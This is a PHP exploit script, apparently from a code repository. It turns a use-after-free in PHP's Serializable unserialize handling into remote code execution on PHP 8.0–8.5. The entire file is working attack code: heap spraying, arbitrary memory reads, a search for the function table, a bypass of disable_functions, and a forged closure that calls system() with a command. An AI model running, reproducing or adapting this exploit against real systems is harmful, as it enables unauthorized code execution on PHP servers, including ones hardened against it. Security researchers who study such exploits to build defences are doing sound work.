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556 lines
22 KiB
PHP
556 lines
22 KiB
PHP
#!/usr/bin/env php
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<?php
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/*
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* PHP Serializable shared-var_hash UAF → RCE.
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*
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* Bug: zend_user_unserialize() in Zend/zend_interfaces.c does not increment
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* BG(serialize_lock) before invoking a Serializable class's unserialize()
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* method. A recursive unserialize() call inside that body inherits the
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* outer var_hash; if the body then frees memory the inner parse registered
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* (e.g. by growing an inner stdClass's property table past nTableSize=8),
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* outer R:N back-references resolve to freed slots.
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*
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* Gadget: one statement.
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*
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* unserialize($data)->x = 0;
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*
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* Inner payload: O:8:"stdClass":8:{...}. Eight inner properties fill the
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* property HT to nTableSize=8; the single ->x = 0 write is the 9th insert
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* and triggers the 8→16 resize, which efree's the original 288-byte arData
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* buffer. Var_hash slots 4..11 (the 8 property zvals) all point into it.
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*
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* Chain: heap leak → spray Closures → mega-string scan for zend_object gc
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* patterns → find function_table HT → resolve system() (via standard
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* module's static zend_function_entry[] when disable_functions blocks it)
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* → fake zend_closure → IS_OBJECT type confusion → RCE.
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*
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* Target: PHP 8.0–8.5 (NTS). Verified on x86_64 and aarch64.
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* Pointer-validity bounds and the EG-from-handlers scan range are
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* auto-tuned per architecture at startup.
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*/
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error_reporting(0);
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class CachedData implements Serializable {
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public function serialize(): string { return ''; }
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public function unserialize(string $data): void {
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unserialize($data)->x = 0;
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}
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}
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$GLOBALS['_cl'] = function(){};
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class Exploit {
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const SPRAY_LEN = 280;
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const SPRAY_COUNT = 32;
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const NUM_PROPS = 8;
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// Struct member offsets — stable across PHP 8.0–8.5 builds
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const OFF_OBJ_CE = 0x10;
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const OFF_OBJ_HANDLERS = 0x18;
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const OFF_CLOSURE_FUNC = 0x38;
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const OFF_HANDLER = 0x58; // zend_internal_function.handler
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const OFF_HT_MASK = 0x0C;
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const OFF_HT_ARDATA = 0x10;
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// Bucket layout (32 bytes)
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const BUCKET_SIZE = 32;
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const BUCKET_VAL = 0;
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const BUCKET_H = 16;
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const BUCKET_KEY = 24;
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const OFF_INTFUNC_MODULE = 0x60;
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const OFF_MODULE_FUNCS = 0x28;
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const FUNC_ENTRY_SIZE = 0x30;
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private $ADDR_MAX; // user-space pointer upper bound
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private $DELTA_MAX; // EG-from-closure_handlers scan range
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public function __construct() {
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$arch = php_uname('m');
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if ($arch === 'aarch64' || $arch === 'arm64') {
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// 48-bit user; PIE binaries map in the 0xaaaa.. range, EG..closure_handlers ~0x340
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$this->ADDR_MAX = 0xFFFFFFFFFFFF;
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$this->DELTA_MAX = 0x600;
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} else {
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// x86_64 / others: 47-bit canonical user; EG..closure_handlers typically <0x300
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$this->ADDR_MAX = 0x7FFFFFFFFFFF;
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$this->DELTA_MAX = 0x300;
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}
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}
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// ─── Spray builders ───
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private function build_inner() {
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// 8-property stdClass: HT created at nTableSize=8, full to capacity.
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// The gadget body's single ->x = 0 write is the 9th insert and triggers
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// the resize. Slot 3 = stdClass, slots 4..11 = property zvals.
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$props = '';
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for ($k = 0; $k < self::NUM_PROPS; $k++) {
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$pname = "p$k";
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$props .= 's:' . strlen($pname) . ':"' . $pname . '";i:' . (0xAAAA0000 + $k) . ';';
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}
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return 'O:8:"stdClass":' . self::NUM_PROPS . ':{' . $props . '}';
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}
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private function build_spray_islong($marker = 0xBBBB0000) {
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$s = str_repeat("\x00", self::SPRAY_LEN);
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for ($k = 0; $k < 8; $k++) {
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$vo = 8 + $k * 32; $to = $vo + 8;
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if ($to + 4 > self::SPRAY_LEN) break;
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$m = $marker + $k;
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$s[$vo]=chr($m&0xFF); $s[$vo+1]=chr(($m>>8)&0xFF);
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$s[$vo+2]=chr(($m>>16)&0xFF); $s[$vo+3]=chr(($m>>24)&0xFF);
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$s[$vo+4]=$s[$vo+5]=$s[$vo+6]=$s[$vo+7]="\x00";
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$s[$to]="\x04"; $s[$to+1]=$s[$to+2]=$s[$to+3]="\x00";
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}
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return $s;
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}
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private function build_spray_isstring($target_addr) {
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$s = str_repeat("\x00", self::SPRAY_LEN);
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$vo = 8 + 1 * 32;
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$ab = pack('P', $target_addr);
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for ($i = 0; $i < 8; $i++) $s[$vo + $i] = $ab[$i];
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$to = $vo + 8;
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$s[$to] = "\x06"; $s[$to+1] = $s[$to+2] = $s[$to+3] = "\x00";
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for ($k = 0; $k < 8; $k++) {
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if ($k == 1) continue;
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$vo2 = 8 + $k * 32; $to2 = $vo2 + 8;
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if ($to2 + 4 > self::SPRAY_LEN) break;
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$s[$to2] = "\x04"; $s[$to2+1] = $s[$to2+2] = $s[$to2+3] = "\x00";
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}
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return $s;
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}
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private function build_spray_isobject($obj_addr) {
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$s = str_repeat("\x00", self::SPRAY_LEN);
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$vo = 8 + 1 * 32;
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$ab = pack('P', $obj_addr);
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for ($i = 0; $i < 8; $i++) $s[$vo + $i] = $ab[$i];
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$to = $vo + 8;
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$s[$to] = "\x08"; $s[$to+1] = "\x03"; $s[$to+2] = $s[$to+3] = "\x00";
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for ($k = 0; $k < 8; $k++) {
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if ($k == 1) continue;
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$vo2 = 8 + $k * 32; $to2 = $vo2 + 8;
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if ($to2 + 4 > self::SPRAY_LEN) break;
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$s[$to2] = "\x04"; $s[$to2+1] = $s[$to2+2] = $s[$to2+3] = "\x00";
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}
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return $s;
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}
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private function build_payload($spray, $num_refs = 1) {
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$inner = $this->build_inner();
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$c_part = 'C:10:"CachedData":' . strlen($inner) . ':{' . $inner . '}';
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$total = 1 + self::SPRAY_COUNT + $num_refs;
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$parts = ['i:0;' . $c_part];
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for ($i = 0; $i < self::SPRAY_COUNT; $i++) {
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$parts[] = 'i:' . ($i + 1) . ';s:' . self::SPRAY_LEN . ':"' . $spray . '";';
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}
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for ($k = 0; $k < $num_refs; $k++) {
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// R:4..R:11 = the 8 property zvals of the inner stdClass
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$parts[] = 'i:' . (self::SPRAY_COUNT + 1 + $k) . ';R:' . (4 + $k) . ';';
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}
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return 'a:' . $total . ':{' . implode('', $parts) . '}';
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}
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// ─── UAF read primitives ───
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private function uaf_read($addr, $n = 8) {
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foreach ([0, 0x08, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200] as $bias) {
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$target = $addr - 0x18 - $bias;
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if ($target < 0x1000) continue;
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$spray = $this->build_spray_isstring($target);
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$payload = $this->build_payload($spray, 1);
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$result = @unserialize($payload);
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if ($result === false) continue;
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$str = $result[self::SPRAY_COUNT + 1];
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if (!is_string($str)) continue;
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$slen = strlen($str);
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if ($slen >= 0 && $slen <= $bias + $n - 1) continue;
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$out = substr($str, $bias, $n);
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if (strlen($out) >= $n) return $out;
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}
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return false;
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}
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private function read8($addr) {
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$d = $this->uaf_read($addr, 8);
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if ($d === false || strlen($d) < 8) return false;
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return unpack('P', $d)[1];
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}
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private function read8_retry($addr, $attempts = 3) {
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for ($i = 0; $i < $attempts; $i++) {
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$v = $this->read8($addr);
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if ($v !== false) return $v;
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}
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return false;
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}
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// ─── DJBX33A hash (same as Zend) ───
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private function zend_hash_func($key) {
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$h = 5381;
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for ($i = 0; $i < strlen($key); $i++)
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$h = (($h << 5) + $h) + ord($key[$i]);
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return $h | (1 << 63);
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}
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private function ht_find($ht_addr, $key) {
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$arData = $this->read8_retry($ht_addr + self::OFF_HT_ARDATA);
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if ($arData === false) return false;
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$d = $this->uaf_read($ht_addr + self::OFF_HT_MASK, 4);
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if ($d === false) return false;
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$nTableMask = unpack('V', $d)[1];
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return $this->ht_find_raw($arData, $nTableMask, $key);
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}
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private function ht_find_raw($arData, $nTableMask, $key) {
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$h = $this->zend_hash_func($key);
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$nIndex = (($h & 0xFFFFFFFF) | $nTableMask) & 0xFFFFFFFF;
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if ($nIndex >= 0x80000000) $nIndex -= 0x100000000;
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$slot_addr = $arData + $nIndex * 4;
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$d = $this->uaf_read($slot_addr, 4);
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if ($d === false) return false;
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$idx = unpack('V', $d)[1];
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if ($idx === 0xFFFFFFFF) return false;
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$klen = strlen($key);
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for ($chain = 0; $chain < 16; $chain++) {
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$bucket_addr = $arData + $idx * self::BUCKET_SIZE;
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$bucket = $this->uaf_read($bucket_addr, self::BUCKET_SIZE);
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if ($bucket === false) return false;
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$key_ptr = unpack('P', substr($bucket, self::BUCKET_KEY, 8))[1];
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if ($key_ptr != 0) {
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$kd = $this->uaf_read($key_ptr + 16, 8 + $klen);
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if ($kd !== false) {
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$slen = unpack('P', substr($kd, 0, 8))[1];
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if ($slen == $klen && substr($kd, 8, $klen) === $key) {
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return $bucket;
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}
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}
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}
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$next = unpack('V', substr($bucket, 12, 4))[1];
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if ($next === 0xFFFFFFFF) return false;
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$idx = $next;
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}
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return false;
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}
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// ─── Phase 1: Heap address leak ───
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private function heap_leak() {
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$spray = $this->build_spray_islong();
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$original = $spray;
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$payload = $this->build_payload($spray, self::NUM_PROPS);
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$result = @unserialize($payload);
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if ($result === false) die("[-] heap_leak: unserialize failed\n");
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for ($i = 1; $i <= self::SPRAY_COUNT; $i++) {
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$s = $result[$i];
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for ($k = 0; $k < self::NUM_PROPS; $k++) {
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$vo = 8 + ($k + 1) * 32;
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if (substr($s, $vo, 8) !== substr($original, $vo, 8)) {
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return unpack('P', substr($s, $vo, 8))[1];
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}
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}
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}
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die("[-] heap_leak: no spray modification detected\n");
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}
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// ─── Phase 2: Find object pointers (ce, handlers) from heap objects ───
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private function find_object_pointers($heap_addr) {
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$chunk = $heap_addr & 0xFFFFFFFFFFE00000;
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for ($i = 0; $i < 256; $i++) {
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$GLOBALS["_spray_$i"] = function(){};
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}
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for ($attempt = 0; $attempt < 3; $attempt++) {
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$target = $chunk - 0x10;
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$spray = $this->build_spray_isstring($target);
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$payload = $this->build_payload($spray, 1);
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$result = @unserialize($payload);
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if ($result === false) continue;
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$str = $result[self::SPRAY_COUNT + 1];
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if (!is_string($str)) continue;
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$slen = strlen($str);
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if ($slen < 0x10000) continue;
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$max_off = min($slen, 0x200000 - 0x08);
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$pairs = [];
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for ($off = 8; $off + 32 <= $max_off; $off += 16) {
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$rc = unpack('V', substr($str, $off, 4))[1];
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if ($rc < 1 || $rc > 50) continue;
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$ti = ord($str[$off + 4]) & 0x0F;
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if ($ti != 8) continue;
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$handle = unpack('V', substr($str, $off + 8, 4))[1];
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if ($handle == 0 || $handle > 100000) continue;
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$pad = unpack('V', substr($str, $off + 12, 4))[1];
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if ($pad != 0) continue;
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$ce = unpack('P', substr($str, $off + 16, 8))[1];
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$handlers = unpack('P', substr($str, $off + 24, 8))[1];
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if ($ce == 0 || $handlers == 0) continue;
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if (($handlers & (~0x1FFFFF)) == $chunk) continue;
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if ($handlers < 0x10000 || $handlers > $this->ADDR_MAX) continue;
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$key = sprintf("%x", $handlers);
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if (!isset($pairs[$key])) $pairs[$key] = ['ce' => $ce, 'handlers' => $handlers, 'count' => 0];
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$pairs[$key]['count']++;
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}
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if (empty($pairs)) continue;
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usort($pairs, fn($a, $b) => $b['count'] <=> $a['count']);
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$best = $pairs[0];
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printf("[+] Found %d object groups, best: count=%d ce=0x%x handlers=0x%x\n",
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count($pairs), $best['count'], $best['ce'], $best['handlers']);
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return [$best['ce'], $best['handlers']];
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}
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return false;
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}
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// ─── Phase 3a: Find EG and function_table near handlers in .bss ───
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private function find_function_table_ht($handlers, $heap_addr) {
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for ($delta = 0x20; $delta < $this->DELTA_MAX; $delta += 8) {
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foreach ([0x1b0, 0x1c8] as $ft_off) {
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$ptr_addr = $handlers + $delta + $ft_off;
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$d = $this->uaf_read($ptr_addr, 24);
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if ($d === false) continue;
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$ft_ptr = unpack('P', substr($d, 0, 8))[1];
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$ct_ptr = unpack('P', substr($d, 8, 8))[1];
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$zc_ptr = unpack('P', substr($d, 16, 8))[1];
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if ($ft_ptr < 0x10000 || $ft_ptr > $this->ADDR_MAX) continue;
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if ($ct_ptr < 0x10000 || $ct_ptr > $this->ADDR_MAX) continue;
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if ($zc_ptr < 0x10000 || $zc_ptr > $this->ADDR_MAX) continue;
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if (abs($ft_ptr - $ct_ptr) > 0x1000000) continue;
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if (abs($ct_ptr - $zc_ptr) > 0x1000000) continue;
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$htd = $this->uaf_read($ft_ptr + self::OFF_HT_MASK, 16);
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if ($htd === false) continue;
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$nTableMask = unpack('V', substr($htd, 0, 4))[1];
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$arData = unpack('P', substr($htd, 4, 8))[1];
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$nNumUsed = unpack('V', substr($htd, 12, 4))[1];
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$pos = (~$nTableMask + 1) & 0xFFFFFFFF;
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if ($pos < 64 || ($pos & ($pos - 1)) != 0) continue;
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if ($arData < 0x10000 || $arData > $this->ADDR_MAX) continue;
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if ($nNumUsed < 100 || $nNumUsed > 10000) continue;
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printf("[+] function_table @ 0x%x (nNumUsed=%d, delta=0x%x, ft_off=+0x%x)\n",
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$ft_ptr, $nNumUsed, $delta, $ft_off);
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return ['ht' => $ft_ptr, 'arData' => $arData, 'nTableMask' => $nTableMask,
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'delta' => $delta, 'ft_off' => $ft_off];
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}
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}
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return false;
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}
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// ─── Phase 3b: Find symbol_table (embedded in EG) ───
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private function find_symbol_table($handlers, $combined, $heap_addr) {
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foreach ([0x1b0, 0x1c8] as $ft_off) {
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$delta = $combined - $ft_off;
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if ($delta < 0) continue;
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$eg = $handlers + $delta;
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$st = $eg + 0x130;
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$d = $this->uaf_read($st + self::OFF_HT_MASK, 16);
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if ($d === false) continue;
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$st_mask = unpack('V', substr($d, 0, 4))[1];
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$st_ardata = unpack('P', substr($d, 4, 8))[1];
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$st_nused = unpack('V', substr($d, 12, 4))[1];
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$m32 = $st_mask & 0xFFFFFFFF;
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if ($m32 < 0xFFFF0000) continue;
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$pos = (~$m32 + 1) & 0xFFFFFFFF;
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if (($pos & ($pos - 1)) !== 0 || $pos < 4) continue;
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if ($st_ardata < 0x10000) continue;
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if ($st_nused > 500) continue;
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printf("[+] EG @ 0x%x (ft_off=+0x%x), symbol_table @ 0x%x (nNumUsed=%d)\n",
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$eg, $ft_off, $st, $st_nused);
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return $st;
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}
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return false;
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}
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private function read_str($addr, $maxlen = 32) {
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$d = $this->uaf_read($addr, $maxlen);
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if ($d === false) return false;
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$s = '';
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for ($i = 0; $i < strlen($d); $i++) {
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$c = ord($d[$i]);
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if ($c == 0) break;
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if ($c >= 0x20 && $c <= 0x7e) $s .= chr($c);
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else return false;
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}
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return $s;
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}
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// ─── Phase 4: Bypass disable_functions, find zif_system handler ───
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private function find_system($arData, $nTableMask, $closure_handlers) {
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$disabled = ini_get('disable_functions');
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$is_disabled = (stripos($disabled, 'system') !== false);
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if (!$is_disabled) {
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$bucket = $this->ht_find_raw($arData, $nTableMask, "system");
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if ($bucket !== false) {
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$func_ptr = unpack('P', substr($bucket, 0, 8))[1];
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$handler = $this->read8_retry($func_ptr + self::OFF_HANDLER);
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if ($handler !== false) {
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printf("[+] zif_system @ 0x%x\n", $handler);
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return ['handler' => $handler, 'mode' => 'closure'];
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}
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}
|
||
}
|
||
|
||
printf("[!] system() is in disable_functions: %s\n", $disabled ?: '(none)');
|
||
echo "[*] Bypassing: resolving zif_system from module function entry table...\n";
|
||
|
||
$handler = $this->find_system_via_module($arData, $nTableMask);
|
||
if ($handler === false)
|
||
die("[-] Cannot find zif_system in module function entries\n");
|
||
|
||
printf("[+] zif_system (from module) @ 0x%x\n", $handler);
|
||
return ['handler' => $handler, 'mode' => 'closure'];
|
||
}
|
||
|
||
private function find_system_via_module($arData, $nTableMask) {
|
||
$probe_funcs = ['var_dump', 'array_push', 'phpversion', 'getenv', 'strtolower'];
|
||
$mod_ptr = false;
|
||
|
||
foreach ($probe_funcs as $fname) {
|
||
$bucket = $this->ht_find_raw($arData, $nTableMask, $fname);
|
||
if ($bucket === false) continue;
|
||
$func_ptr = unpack('P', substr($bucket, 0, 8))[1];
|
||
$candidate = $this->read8_retry($func_ptr + self::OFF_INTFUNC_MODULE);
|
||
if ($candidate === false || $candidate < 0x10000 || $candidate > $this->ADDR_MAX) continue;
|
||
|
||
$name_ptr = $this->read8_retry($candidate + 0x20);
|
||
if ($name_ptr === false) continue;
|
||
$name = $this->read_str($name_ptr, 16);
|
||
if ($name === 'standard') {
|
||
$mod_ptr = $candidate;
|
||
printf("[+] standard module @ 0x%x (via %s)\n", $mod_ptr, $fname);
|
||
break;
|
||
}
|
||
}
|
||
|
||
if ($mod_ptr === false) return false;
|
||
|
||
$funcs = $this->read8_retry($mod_ptr + self::OFF_MODULE_FUNCS);
|
||
if ($funcs === false) return false;
|
||
printf("[+] module functions @ 0x%x\n", $funcs);
|
||
|
||
for ($j = 0; $j < 600; $j++) {
|
||
$entry = $funcs + $j * self::FUNC_ENTRY_SIZE;
|
||
$fname_ptr = $this->read8_retry($entry);
|
||
if ($fname_ptr === false || $fname_ptr == 0) break;
|
||
$fname = $this->read_str($fname_ptr, 16);
|
||
if ($fname === 'system')
|
||
return $this->read8_retry($entry + 0x08);
|
||
}
|
||
return false;
|
||
}
|
||
|
||
// ─── Build fake zend_closure ───
|
||
|
||
private function build_fake_closure($ce, $handlers, $system_handler) {
|
||
$b = str_repeat("\x00", 512);
|
||
$w = function(&$buf, $off, $data) {
|
||
for ($i = 0; $i < strlen($data); $i++) $buf[$off + $i] = $data[$i];
|
||
};
|
||
|
||
$w($b, 0x00, pack('V', 0x7FFFFFFF));
|
||
$w($b, 0x04, pack('V', 0x18));
|
||
$w($b, self::OFF_OBJ_CE, pack('P', $ce));
|
||
$w($b, self::OFF_OBJ_HANDLERS, pack('P', $handlers));
|
||
$w($b, self::OFF_CLOSURE_FUNC, chr(1));
|
||
$w($b, 0x58, pack('V', 1));
|
||
$w($b, 0x5C, pack('V', 1));
|
||
$w($b, self::OFF_CLOSURE_FUNC + self::OFF_HANDLER, pack('P', $system_handler));
|
||
|
||
return $b;
|
||
}
|
||
|
||
private function find_var_string_addr($st_addr, $name) {
|
||
$bucket = $this->ht_find($st_addr, $name);
|
||
if ($bucket === false) return false;
|
||
|
||
$type = ord($bucket[8]);
|
||
$val = unpack('P', substr($bucket, 0, 8))[1];
|
||
|
||
if ($type == 6) return $val;
|
||
if ($type == 10) {
|
||
$inner = $this->uaf_read($val + 8, 16);
|
||
if ($inner === false) return false;
|
||
if (ord($inner[8]) == 6) return unpack('P', substr($inner, 0, 8))[1];
|
||
}
|
||
return false;
|
||
}
|
||
|
||
public function run() {
|
||
$cmd = "id && uname -a";
|
||
echo "=== PHP Serializable var_hash UAF → RCE ===\n";
|
||
printf(" Arch: %s ADDR_MAX=0x%x DELTA_MAX=0x%x\n\n",
|
||
php_uname('m'), $this->ADDR_MAX, $this->DELTA_MAX);
|
||
|
||
echo "[*] Phase 1: Heap address leak via R: write-through...\n";
|
||
$heap_addr = $this->heap_leak();
|
||
printf("[+] zend_reference @ 0x%x\n", $heap_addr);
|
||
|
||
echo "\n[*] Phase 3: Finding object pointers (ce, handlers) in heap...\n";
|
||
$ptrs = $this->find_object_pointers($heap_addr);
|
||
if ($ptrs === false) die("[-] Cannot find object pointers\n");
|
||
[$ce_closure, $closure_handlers] = $ptrs;
|
||
|
||
echo "\n[*] Phase 4: Locating executor globals...\n";
|
||
$ft = $this->find_function_table_ht($closure_handlers, $heap_addr);
|
||
if ($ft === false) die("[-] Cannot find function_table HT\n");
|
||
$combined = $ft['delta'] + $ft['ft_off'];
|
||
$st_addr = $this->find_symbol_table($closure_handlers, $combined, $heap_addr);
|
||
if ($st_addr === false) die("[-] Cannot find symbol_table\n");
|
||
|
||
echo "\n[*] Phase 5: Bypassing disable_functions...\n";
|
||
$sys = $this->find_system($ft['arData'], $ft['nTableMask'], $closure_handlers);
|
||
|
||
echo "\n[*] Phase 6: Building the fake closure...\n";
|
||
$fc = $this->build_fake_closure($ce_closure, $closure_handlers, $sys['handler']);
|
||
$GLOBALS["_xfc"] = $fc;
|
||
|
||
echo "\n[*] Phase 7: Locating the fake closure via EG.symbol_table...\n";
|
||
$str_ptr = $this->find_var_string_addr($st_addr, "_xfc");
|
||
if ($str_ptr === false) die("[-] Cannot find _xfc\n");
|
||
$obj_addr = $str_ptr + 24;
|
||
printf("[+] Fake closure @ 0x%x\n", $obj_addr);
|
||
|
||
echo "\n[*] Phase 8: Type confusion and RCE...\n";
|
||
$spray = $this->build_spray_isobject($obj_addr);
|
||
$payload = $this->build_payload($spray, 1);
|
||
$result = @unserialize($payload);
|
||
if ($result === false) die("[-] unserialize failed\n");
|
||
|
||
$idx = self::SPRAY_COUNT + 1;
|
||
if (!is_object($result[$idx]))
|
||
die("[-] Expected object, got " . gettype($result[$idx]) . "\n");
|
||
|
||
echo "[+] Got fake Closure!\n\n";
|
||
echo str_repeat("\xe2\x94\x80", 50) . "\n";
|
||
$result[$idx]($cmd);
|
||
echo "\n" . str_repeat("\xe2\x94\x80", 50) . "\n";
|
||
echo "\n[+] Exploit complete.\n";
|
||
}
|
||
}
|
||
|
||
(new Exploit)->run();
|